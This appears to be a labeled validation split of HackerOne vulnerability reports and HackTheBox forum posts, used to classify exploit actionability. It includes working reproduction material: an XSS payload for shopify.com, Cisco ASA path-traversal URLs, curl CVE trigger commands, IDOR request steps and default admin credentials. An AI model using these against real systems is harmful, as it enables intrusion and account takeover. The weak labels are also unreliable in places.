Reproduce\nRun following command to retrieve data:\ncurl https://███████/███ -X POST -data=\"url=%2F████████\" -k\n\nModifying ██████ parameter result in different Application being returned.\nI have tested retrieving following ids: ███.\nTrying to retrieve record 60000 returns no information, so maybe ~50000 applications are accessible.\n\n## Suggested Mitigation/Remediation Actions\n1. admin.js should be available only after Administrator successfully logs in\n2. all administrative end points must check if authorized administrator is requesting them", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "391ff5f71118e3e270bc", "text": "cheekychimp: essential for step 5 - some of these tas Hey I got some problems to find where Flag4, I managed to log into the /manager page, but I can’t find the credentials for the user t****t and got no ideas where to go from where on", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ec05ffb507236d2c473f", "text": "[Misconfiguration] Missing Validation in editing  \"Your Phone Number\"\n\nVerification method is missing  in changing \"Your Phone Number\" .\n\nThere is no OTP or code send to new number for validating.\n\nPOC video : recording-1632905982558.webm\n\n@thug645\n\n## Impact\n\nMisconfiguration", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9bea22eddf29c0cf8e76", "text": "[Authentication Bypass by Primary Weakness] CVE-2023-27535: FTP too eager connection reuse\n\n## Summary:\nlibcurl FTP(S) protocol will reuse connection even if different `CURLOPT_FTP_ACCOUNT` (libcurl) or `--ftp-account` (curl) is specified for different connections and the server requests account authentication via reply code `332`. It appears that `STRING_FTP_ALTERNATIVE_TO_USER ` (libcurl) or `--ftp-alternative-to-user` (curl) is also affected and should also result in caching being refused.\n\n## Steps To Reproduce:\n\n  1. terminal 1: `echo -e \"foo\\n\" | nc -v -l -p 9998; echo -e \"bar\\n\" | nc -v -l -p 9998`\n  2. terminal 2:  `echo -ne \"220 a\\n331 b\\n332 c\\n230 d\\n257 \\\"/\\\"\\n229 (|||9998|)\\n200 e\\n213 4\\n150 f\\n226 g\\n229 (|||9998|)\\n213 4\\n150 f\\n226 g\\n\" | nc -v -l -p 9999`\n  3. terminal 3: `curl -v --ftp-account alice \"ftp://ftp@server:9999/file1\" -: --ftp-account bob \"ftp://ftp@server:9999/file2\"`\n\nAs a result connection authenticated as user `alice` will be used when fetching `file2` regardless that user `bob` was specified for fetching it.\n\n## Remediation\n* Don't reuse connection if `CURLOPT_FTP_ACCOUNT` or `STRING_FTP_ALTERNATIVE_TO_USER`  are different.\n\n## Supporting Material/References:\n* https://www.ietf.org/rfc/rfc0959.txt\n\n## Impact\n\nAccessing content with wrong cached credentials.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-27535"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "31ec00bb4f907cdc00c6", "text": "For those who have been like me and have been stuck on this question for ages, not being able to get the correct password list to use here are some clues, hopefully these are helpful: The brute forcing should not take long at all You only need to input the characters first name into the password generator (cupp) Try ticking the option to using special characters at the end of words Use Leet mode Dont forget to filter the password list for passwords that match the password policy Hopefully this help", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "efb2d42f62834ec713da", "text": "Hello. May i ask? I have completed ‘ Digging in… ’ and ‘ Bypassing Authentication ’. But I missed it ‘ Going Deeper ’. In which direction should I do to find ‘ Going Deeper ’? More dig -ging?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6f22acf7394bc244716a", "text": "[Classic Buffer Overflow] Buffer Overflow in optimized_escape_html method\n\n* This report is a copy of bug report (https://hackerone.com/reports/1328463).\n     I was asked to submit this bug here, because Ruby bug bounty program is moved to this new Internet Bug Bounty program.\n\nOperating System\n================\nWindows 10\n*This should reproduce in any other operating system where `long` data type takes 4 bytes.*\n\nDescription\n==========\n\nThis bug is present in `optimized_escape_html` method of [ext\\cgi\\escape\\escape.c](https://github.com/ruby/ruby/blob/master/ext/cgi/escape/escape.c) file.\nBelow mentioned line causes this bug.\n```cpp\nchar *buf = ALLOCV_N(char, vbuf, RSTRING_LEN(str) * HTML_ESCAPE_MAX_LEN);\n```\n\n`RSTRING_LEN` is a preprocessor directive. It expands to below code.\n```cpp\nstatic inline long\nRSTRING_LEN(VALUE str)\n{\n    return rbimpl_rstring_getmem(str).as.heap.len;\n}\n```\n`HTML_ESCAPE_MAX_LEN` is defined as this.\n``` cpp\n#define HTML_ESCAPE_MAX_LEN 6\n```\n \n\nNote that `RSTRING_LEN` returns a `long` data type value.\n`Long` data type takes 4 bytes on Windows operating system.\nSo maximum value for a unsigned `long` data type is 4,294,967,295.\n\nAttached test case passes a string, which has 715828054 characters to `CGI.escapeHTML` method.\nLength of the buffer is calculated as -> `RSTRING_LEN(str) * HTML_ESCAPE_MAX_LEN`\n                                                                                            715828054 * 6 = 4,294,968,324\nThis value is too large for `long` data type. \nSo 4,294,968,324 becomes 1028, when stored in a `long` variable.\nSo `ALLOCV_N` method creates a buffer of 1028 bytes.\n\n`optimized_escape_html` method contains a loop, which writes to this buffer.\n```cpp\n    const char *cstr = RSTRING_PTR(str);\n    const char *end = cstr + RSTRING_LEN(str);\n    char *dest = buf;\n    while (cstr < end) {\n        const unsigned char c = *cstr++;\n        uint8_t len = html_escape_table[c].len;\n        if (len) {\n            memcpy(dest, html_escape_table[c].str, len);\n            dest += len;\n        }\n        else {\n            *dest++ = c;\n        }\n    }\n```\n\t\nThis loops expects a buffer of size 4,294,968,324. But it receives a buffer with 1028 bytes.\nSo this loop writes data, beyond provided buffer.\n\nReproduction Steps\n================\n1. Download attached F1585929 file.\n2. Run\n     `ruby escape.rb`. \n    *Please attach to a debugger to notice the crash.*\n\n## Impact\n\nAttacker may be able to write unintended data to memory.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e992a968d02797953c0d", "text": "[Unknown] ihsinme: CPP Add query for CWE-675 Duplicate Operations on Resource\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "82ddc7d787ca5810ac6c", "text": "[Insecure Direct Object Reference (IDOR)] Read Other Users Reports Through Cloning\n\n## Summary:\nI team, I have found a vulnerability where I am able to read other users reports through the clone report function.\nIf an attacker goes to try read another users report, we get a 500 internal error response.\nBut if an attacker uses the clone report function, we are able to clone a victims report and read it on our attacker account\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Victim account has a scorecard created under https://demo.sftool.gov/tws/\n  2. Attacker goes to https://demo.sftool.gov/tws/ and selects clone scorecard\n 3. Attacker enters name of score card (any name)\n4. Attacker clicks choose score card (have to have an existing scorecard on attacker account prior) and selects scorecard\n5 Attacker turns on interceptor and changes name of scorecard to that of victim scorecard under the parameter nTwsUserScorecard.Template=    (use value testnew to see my scorecard)\n6 attacker submits request\n\nyou have now cloned my scorecard into your own scorecard and can read my details (see poc attached)\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nIf an attacker goes to try read another users report, we get a 500 internal error response.\nBut if an attacker uses the clone report function, we are able to clone a victims report and read it on our attacker account reading sensitive report data of another user", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7f0c9ce109e6d17a56c8", "text": "[Uncontrolled Resource Consumption] [CVE-2023-22799] Possible ReDoS based DoS vulnerability in GlobalID\n\nI made a report and patch at https://hackerone.com/reports/1696752.\n\nhttps://discuss.rubyonrails.org/t/cve-2023-22799-possible-redos-based-dos-vulnerability-in-globalid/82127\n> There is a possible DoS vulnerability in the model name parsing section of the GlobalID gem. Carefully crafted input can cause the regular expression engine to take an unexpected amount of time. All users running an affected release should either upgrade or use one of the workarounds immediately.\n\n## Impact\n\nReDoS occurs in Global ID uri parsing.\nGlobal ID is supposed to be used in ActiveJob, but it is also used in libraries such as GraphQL Ruby and uses user input.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-22799"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "60ede1e04e882b788f0b", "text": "[Cleartext Storage of Sensitive Information] Sensitive Information Disclosure Through Config File\n\n## Summary:\nAn attacker could gain access to sensitive information about usernames, encrypted passwords, internal IP addresses and configuration data of internal services.\n\n## Steps To Reproduce:\n- Go to https://zik.mtncameroon.net/common/queryconfig.action\n\n## Remediation\nConfigure the application to not reveal sensitive information to client.\n\n## References\nhttps://cwe.mitre.org/data/definitions/200.html\n\n## Impact\n\nA malicious user is able to gain sensitive information usernames, encrypted passwords, internal IP addresses and configuration data of internal services.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3e4db00124830b37bee8", "text": "Hi I would also like to reply to this question as I also didnt understood what was asked… My understanding was that we had to find out what the EBP address was before we overwrite it with a payload. I think that would reflect the knowledge you have about this topic better. Also the question is very confusing. For the people that are stuck on this question just follow the same steps in the top of the read section and paste the value EBP has after you run it. Maybe for your own understanding try to find out the address of EBP before you over write it! (this is not answer to the question )", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "34abd4d980fa47a5d6bc", "text": "[Use After Free] CVE-2022-43552: HTTP Proxy deny use-after-free\n\nIssue(s) reported by Trail of Bits. This is either one or two issues.\n\n## Summary:\n\n`./src/curl 0 -x0:80 telnet:/[j-u][j-u]//0 -m 01`\n`./src/curl 0 -x0:80 smb:/[j-u][j-u]//0 -m 01`\n\nBoth command line ends up having libcurl access and use already freed heap-memory. For read and write.\n\n## Steps To Reproduce:\n\nSee above, run with valgrind for full report.\n\nI have a local HTTP server on localhost host port 80 that will send back a 502 on the CONNECT requests curl issues to it for these protocols.\n\n## Supporting Material/References:\n\nSee logs.\n\n## Impact\n\nUse after free stuff.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-43552"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2aae013f8979878b6203", "text": "Relwarc17: https://www.hackthebox.eu/home/users/profile/42767 I didn’t know the path to my profile (when i opened profile the path didn’t show up in the URL bar, i knew only my number) Thank you, i gave you respect for this.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "546e278cfc1de7c7b7e3", "text": "[Path Traversal] [CVE-2020-3452] Unauthenticated file read in Cisco ASA\n\nI found out that   https://███/ was vulnerable to CVE-2020-3452.\n\nThe IP has a SSL certificate pointing to DoD.\n`curl -kv https://██████████/`\n\nOutput:\n```\nServer certificate:\n*  subject: █████\n```\n\n## Impact\n\nAnyone can read any file present on the server.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nYou can test it by visiting the URL:\nhttps://██████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\nhttps://███████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua\n\n## Suggested Mitigation/Remediation Actions\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-3452"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "21f445146e0a068f549a", "text": "[Improper Access Control - Generic] Default Login Credentials on https://broadbandmaps.mtn.com.gh/\n\n## Summary:\nHello Team,\nI just found out that `broadbandmaps.mtn.com.gh` requires logging in when you visit it, but it turned out that you can actually login as an Admin and do anything on the specific site.\nwhen you visit the mentioned site you will get this   \n{F1405776}\nit will require to be logged in to perform any action, to bypass this you have to Login with the default credentials `Username`= admin `password`= admin , and for some reasons you can't login with Firefox it only works on Google chrome and  chromium web browser.\n\n## Supporting Material:\n-Check this Video >\n{F1405806}\n\n## Impact\n\nAccess admin Panel due to Default credentials", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6f35da10beafd36014ab", "text": "[Insecure Direct Object Reference (IDOR)] IDOR when editing email leads to Mass Full ATOs (Account Takeovers) without user interaction on https://██████/\n\nDear DoD team,\n\nI found one critical bug on your domain: https://██████/\nIt's IDOR. Also this domain is from Hack US program.\n\nWhat is that IDOR?\n\nInsecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. The term IDOR was popularized by its appearance in the OWASP 2007 Top Ten. However, it is just one example of many access control implementation mistakes that can lead to access controls being circumvented. IDOR vulnerabilities are most commonly associated with horizontal privilege escalation, but they can also arise in relation to vertical privilege escalation.\n\n## Impact\n\nAn attacker could do Full ATOs (Account Takeovers) to your users without any user interaction.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\nUsers are affected.\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to https://████████/\n2. Go to vendor login.\n3. Make one attacker account and one victim account.\n4. Login as attacker.\n5.  Go to My Account.\n6. Update your profile and intercept your request with burp suite, make sure your foxy proxy is on, you will notice this request, take a look at userId parameter and save it your notepad:\n\n```javascript\nPOST /█████/EditUserProfile/Save HTTP/1.1\nHost: ███\nCookie: .AspNetCore.Antiforgery.w; TS014b77bb=; .AspNetCore.Mvc.CookieTempDataProvider=CfDJ8NZcuopxrrlAnVqYGUtWQxtsA-gq_U4VzTT_UPVtffN4Mp5xSVzjEI6YzVkINoX_FoCmnYWsUdpP1PX2y57UYI527e0mBw40qounVa_WpXWkEiRpco5mBm8LQVC0y_XBbRbcAGbytrA24EqhocKSOupfTKtFzK-iB_2L9ekRNotla0UYoapvcWFDrQZ-KUQn0O65nIfoxkr6gu9jl3nhpy0; .AspNetAuth=CfDJ8NZcuopxrrlAnVqYGUtWQxuUeFWKVXEqlOxL4TNcHc5b0VL5A7Lnq1diP3edMqJn024bJDCv72IDREsFTjeownrswgIQhDCRm_pDHpxUl6_FRedhYqLjnIV5TzDmQgGT6_QoN5XVl-v9n2B5fmWKcfASedgyauzJzwBwafxFKjbIBpmm5oZoBHuDuVTUDFsreYhEbHVPoQDppRn2VhUQ5Vo-QjWelfM8Vi0R8XS98tC1r0j5npE_JKl-GcWXdtzXIgYLS9t9X05kp3a2dcTTUue33v_4taplSArGZzlHWHLYpMz3tLPE07hTkBrjvKCdpw; ASP.NET_SessionId=; TS0144f203=01d263603a2c7f22f24b6e3dc5545eac2dac86e22b777fbefec77dd724498f634cba9a604948cca126e23e438871080faec4034c4fabc579539aadf5f7b2713082206f08b6604332ce5d3a8f14b0f98a460f109128752513a960c47e1656d275e66a06feee; CSRF-TOKEN=\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: hr,hr-HR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 537\nOrigin: https://████\nReferer: https://████/██████████/EditUserProfile\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\nEmail=attacker@gmail.com&PositionTitleIds=10&Title=Pentester&FirstName=attacking&MiddleName=test&LastName=wearehackerone&PhoneNumber=&LanguageId=&Password=&ConfirmPassword=&userId=123464&passChange=true&PersonProfileId=0&CitizenshipId=101&__RequestVerificationToken=\n```\n6.  Change email to new email: example I changed to this email: █████████ or to ███████\n7. But make sure you created victim account.  So, change it to the victim email.\n8. Before you change your email, make sure to turn your foxy proxy on and open your burp suite.\n9. Now change to victim email.\n10. In http history (in Burp Suite) you will notice this request:\n\n```javascript\nPOST /███/EditUserProfile/Save HTTP/1.1\nHost: █████████\nCookie: .AspNetCore.Antiforgery.w; TS014b77bb=; .AspNetCore.Mvc.CookieTempDataProvider=CfDJ8NZcuopxrrlAnVqYGUtWQxtsA-gq_U4VzTT_UPVtffN4Mp5xSVzjEI6YzVkINoX_FoCmnYWsUdpP1PX2y57UYI527e0mBw40qounVa_WpXWkEiRpco5mBm8LQVC0y_XBbRbcAGbytrA24EqhocKSOupfTKtFzK-iB_2L9ekRNotla0UYoapvcWFDrQZ-KUQn0O65nIfoxkr6gu9jl3nhpy0; .AspNetAuth=CfDJ8NZcuopxrrlAnVqYGUtWQxuUeFWKVXEqlOxL4TNcHc5b0VL5A7Lnq1diP3edMqJn024bJDCv72IDREsFTjeownrswgIQhDCRm_pDHpxUl6_FRedhYqLjnIV5TzDmQgGT6_QoN5XVl-v", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "801740ca15d0e67c9cb0", "text": "[Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)] Weak randomness in WebCrypto keygen\n\nhttps://github.com/nodejs/node/pull/35093 introduced a call to `EntropySource()` in `SecretKeyGenTraits::DoKeyGen()` in `src/crypto/crypto_keygen.cc`. There are two problems with this:\n\n1. It does not check the return value, it assumes `EntropySource()` always succeeds, but it can (and sometimes will) fail.\n\n2. The random data returned by`EntropySource()` may not be cryptographically strong and therefore not suitable as keying material.\n\nAn example is a freshly booted system or a system without `/dev/random` or `getrandom(2)`.\n\n## Impact\n\n`EntropySource()` calls out to openssl's `RAND_poll()` and `RAND_bytes()` in a best-effort attempt to obtain random data.\n\nOpenSSL has a built-in CSPRNG but that can fail to initialize, in which case it's possible either:\n\n1. No random data gets written to the output buffer, i.e., the output is unmodified, or\n\n2. Weak random data is written. It's theoretically possible for the output to be fully predictable because the CSPRNG starts from a predictable state.\n\nThe output buffer is allocated in `SecretKeyGenTraits::DoKeyGen()` using `OPENSSL_malloc()` (alias for `CRYPTO_malloc()`), which in turn calls `malloc()`.\n\n`malloc()` does not zero the buffer but its contents may be predicted or manipulated by an external attacker, e.g. by manipulating an arraybuffer, then forcing the GC to reclaim it.\n\nUsers can override the CSPRNG (and do) so there are probably more failure modes. A buggy CSPRNG could write out only zeroes, for example, comparable to (2).\n\nI have a (trivial!) patch available. H1 gives this a really high CVSS score but I suppose that's appropriate when the worst case failure mode is a complete breakdown of confidentiality and integrity.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "07ef625eb3e3904cb0b4", "text": "Hello did you get the flag if yes , can you give me a hint ? thank you", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-07-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1cd93d8399caac419a6b", "text": "[Insecure Direct Object Reference (IDOR)] IDOR Leads To Account Takeover Without User Interaction\n\n## Summary:\nHello Team,\nThere's IDOR Bug on this subdomain `mtnmobad.mtnbusiness.com.ng` leads to account takeover, More details check the Poc. \n\n## Steps To Reproduce:\n\n  1. Create two accounts on `mtnmobad.mtnbusiness.com.ng` and both accounts verify the emails from your email inbox\n  2. Login to attacker account on Browser A Go to update Profile Try to update the address for example and Capture the Request with burp send it to `Repeater`\n{F1384484}\n3. Login to Victim account on browser B do the same to get the victim `ID` you can Grab his ID without sending this request to `Repeater`\n4. Go to the Attacker Request You sent to `Repeater` Change `/ID` with the Victim's `ID` you Grabbed From Step 3 Then change `Email` with different email, you need to change the `username` parameter not the `email` see this screenshot, Leave the email as your attacker email. the `username` Value is email and just update that one.\n\n{F1384509} \n5.  Go Reset the Password (act like you don't know the Pass XD), login and successfully account Takeover without User Interaction\n\n## Supporting Material/References:\n--Check this Video :\n{F1384553}\n\n## Impact\n\nFull account Takeover without user interaction", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "27f266aeea7a39e7fdd5", "text": "[Information Disclosure] Hackerone All Private Program Name Leaked to Public Via Collaborator OR Attacker can Easily Dump all Private Program Names through Collaborator\n\nHi Team,\n\nI hope you are doing well.\n\nI found a Critical Vulnerability using this attacker can easily dump all the private program names of Hackerone and it breaks the confidentiality because if attacker got name of the program Rest of the Data is not needed because it's googleable about the program.\n\nI found that Using Collaborator Feature attacker can easily got all Program's Names one by one or he can automate through Burp Intruder.\n\nSteps to Reproduce :- 1. Create a Report on Hackerone in which Collaboration is allowed.\n2. After creating it add a Random Collaborator and Capture this Request in Burp suite.\n3. In the Request there is `report_id` change this id to `2052164`.\n4. You got this error if program is Public :- \n\n█████\n\n5. Now change this `report_id` change this id to `2052163 ,  2052158 , 2052154 , 2052162 , 2053029`.\n6. As these all `report_id ` belongs to private programs you got leaked Name of Private program Like :- \n\n██████\n\n█████████\n\n7. Attacker can easily Brute-Force through intruder and Dump the whole DB of Private Hackerone program Name this breaks the Confidentially of Private program because if Someone known name he can easily google and find it the information about it.\n\n## Impact\n\n1. Broken Confidentiality of Hackerone Feature about Private Programs.\n2. Attacker can easily dump all the Private program Names and it also breaks the Confidentiality between Hackerone and Client.\n\nPOC Attached\n\nIf you need further info I am here to help you.\n\nThanks and Regards,\nBhaRat", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "458e81d08a7ffb480596", "text": "[Cross-site Scripting (XSS) - Reflected] XSS in www.shopify.com/markets?utm_source=\n\nHello, hope you are having a good day :)\n\n## Summary:\nI found a reflected XSS in `www.shopify.com/markets` using the `utm_source` parameter\n\nReflected XSS vulnerabilities arise when the application accepts a malicious input script from a user and then it is executed in the victim's browser. Since the XSS is reflected, the attacker has to trick the victim into executing the payload, usually using another website or by sending a specially crafted link\n\n##### URL: `https://www.shopify.com/markets`\n##### INJECTION POINT: `utm_source` parameter\n##### PAYLOAD: `injection%22%20style=%22animation-name:swoop-up%22%20onanimationstart=%22alert(document.domain)`\n\n## Steps To Reproduce:\nVisit this URL:  \n```\nhttps://www.shopify.com/markets?utm_source=INJECTION%22%20style=%22animation-name:swoop-up%22%20onanimationstart=%22alert(document.domain)\n```\n\nBy visiting that link you'll get an alert on your screen, that demonstrates the existence of the vulnerability.\n\n{F1925617}\n\nThe attack is unauthenticated\n\n## Recommended Fix\nCorrectly escape special characters such as `<` `>` `\"` `'` based on the context where the string gets reflected.\n\nThank you.\n\n## Impact\n\nAn attacker could steal user cookies, create a trusted phishing page or bypass any CSRF protection mechanism.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f916286e252e1f7a2609", "text": "Debug, and debug again, what is the value of the rdx register before the xor? Sorry but I’m a bit confused. xor [rdx], rbx should not alter the value in rbx but directly write the xor-ed value back to the stack. Also, I tried directly yielding the control flow to the decoded shellcode by enabling stack execution when linking the binary with ld -z execstack . Unfortunately, the decoded shellcode contains plenty of register-based memory access, which leads to segfaults as most of the registers are initialized with value 0.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "023c252a6b35cbf3fd6b", "text": "[Heap Overflow] CVE-2023-38545: socks5 heap buffer overflow\n\n# Summary:\n\nThe SOCKS5 state machine can be manipulated by a remote attacker to overflow heap memory if four conditions are met:\n\n1. The request is made via socks5h.\n2. The state machine's negotiation buffer is smaller than ~65k.\n3. The SOCKS server's \"hello\" reply is delayed.\n4. The attacker sets a final destination hostname larger than the negotiation\nbuffer.\n\nlibcurl is supposed to disable SOCKS5 remote hostname resolution for hostnames larger than 255 but will not due to a state machine bug.\n\nFor example tor user running libcurl app with follow location that connects to rogue onion server that replies with payload in `Location:` header which causes crash or worse.\n\n# Walkthrough:\n\n`do_SOCKS` initializes local variable `socks5_resolve_local` depending on the `CURLPROXY_` name. There are two relevant names for this state machine:\n\n- `CURLPROXY_SOCKS5` (SOCKS5 with local resolve of dest host)\n- `CURLPROXY_SOCKS5_HOSTNAME` (SOCKS5 with remote resolve of dest host)\n\n[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L573-L574)\n~~~c\n  bool socks5_resolve_local =\n    (conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;\n~~~\n\nFor this scenario, `CURLPROXY_SOCKS5_HOSTNAME` is the name and `socks5_resolve_local` is initialized FALSE.\n\nThe `do_SOCKS` state machine is entered for the first time for the connection. `sx->state` is `CONNECT_SOCKS_INIT` (which happens to be the first label). In that state the hostname length is checked and if too long to resolve remotely (>255) then it sets `socks5_resolve_local` to TRUE.\n\n[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L588-L593)\n~~~c\n    /* RFC1928 chapter 5 specifies max 255 chars for domain name in packet */\n    if(!socks5_resolve_local && hostname_len > 255) {\n      infof(data, \"SOCKS5: server resolving disabled for hostnames of \"\n            \"length > 255 [actual len=%zu]\", hostname_len);\n      socks5_resolve_local = TRUE;\n    }\n~~~\n\nThe local variable `socks5_resolve_local` is changed but, because this is a state machine, subsequent calls to `do_SOCKS` are in a different state and do not make the same change. ==**This is the bug.**==\n\nFor this scenario, the hostname is longer than 255 characters and `do_SOCKS` is on a subsequent call, which means `socks5_resolve_local` remains FALSE. This can happen by chance or be forced by an attacker.\n\nThe client \"hello\" SOCKS packet contains available methods and is sent to the server. State `CONNECT_SOCKS_READ_INIT` => `CONNECT_SOCKS_READ` is entered to parse the server \"hello\" packet (method selection reply). The server has not yet replied so `do_SOCKS` returns `CURLPX_OK`.\n\n[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L640-L662)\n~~~c\nCONNECT_SOCKS_READ_INIT:\n  case CONNECT_SOCKS_READ_INIT:\n    sx->outstanding = 2; /* expect two bytes */\n    sx->outp = socksreq; /* store it here */\n    /* FALLTHROUGH */\n  case CONNECT_SOCKS_READ:\n    presult = socks_state_recv(cf, sx, data, CURLPX_RECV_CONNECT,\n                               \"initial SOCKS5 response\");\n    if(CURLPX_OK != presult)\n      return presult;\n    else if(sx->outstanding) {\n      /* remain in reading state */\n      return CURLPX_OK;\n    }\n    else if(socksreq[0] != 5) {\n      failf(data, \"Received invalid version in initial SOCKS5 response.\");\n      return CURLPX_BAD_VERSION;\n    }\n    else if(socksreq[1] == 0) {\n      /* DONE! No authentication needed. Send request. */\n      sxstate(sx, data, CONNECT_REQ_INIT);\n      goto CONNECT_REQ_INIT;\n    }\n~~~\n\nOn a subsequent call `do_SOCKS` is in the same state where it's waiting for the initial server reply. If the reply is valid, and in this scenario it is, then the state machine will goto `CONNECT_REQ_INIT` which will goto `CONNECT_RESOLVE_REMOTE` since `socks5_resolve_local` is FALSE.\n\n[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L781-L797)\n~~~c\nCONNECT_REQ_INIT:\n  case CONNECT_REQ_INIT:\n    if(socks5_resolve_local) {\n      enum resolve_t rc = Curl_resolv(data, sx->hostname, sx->remote_port", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-38545"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
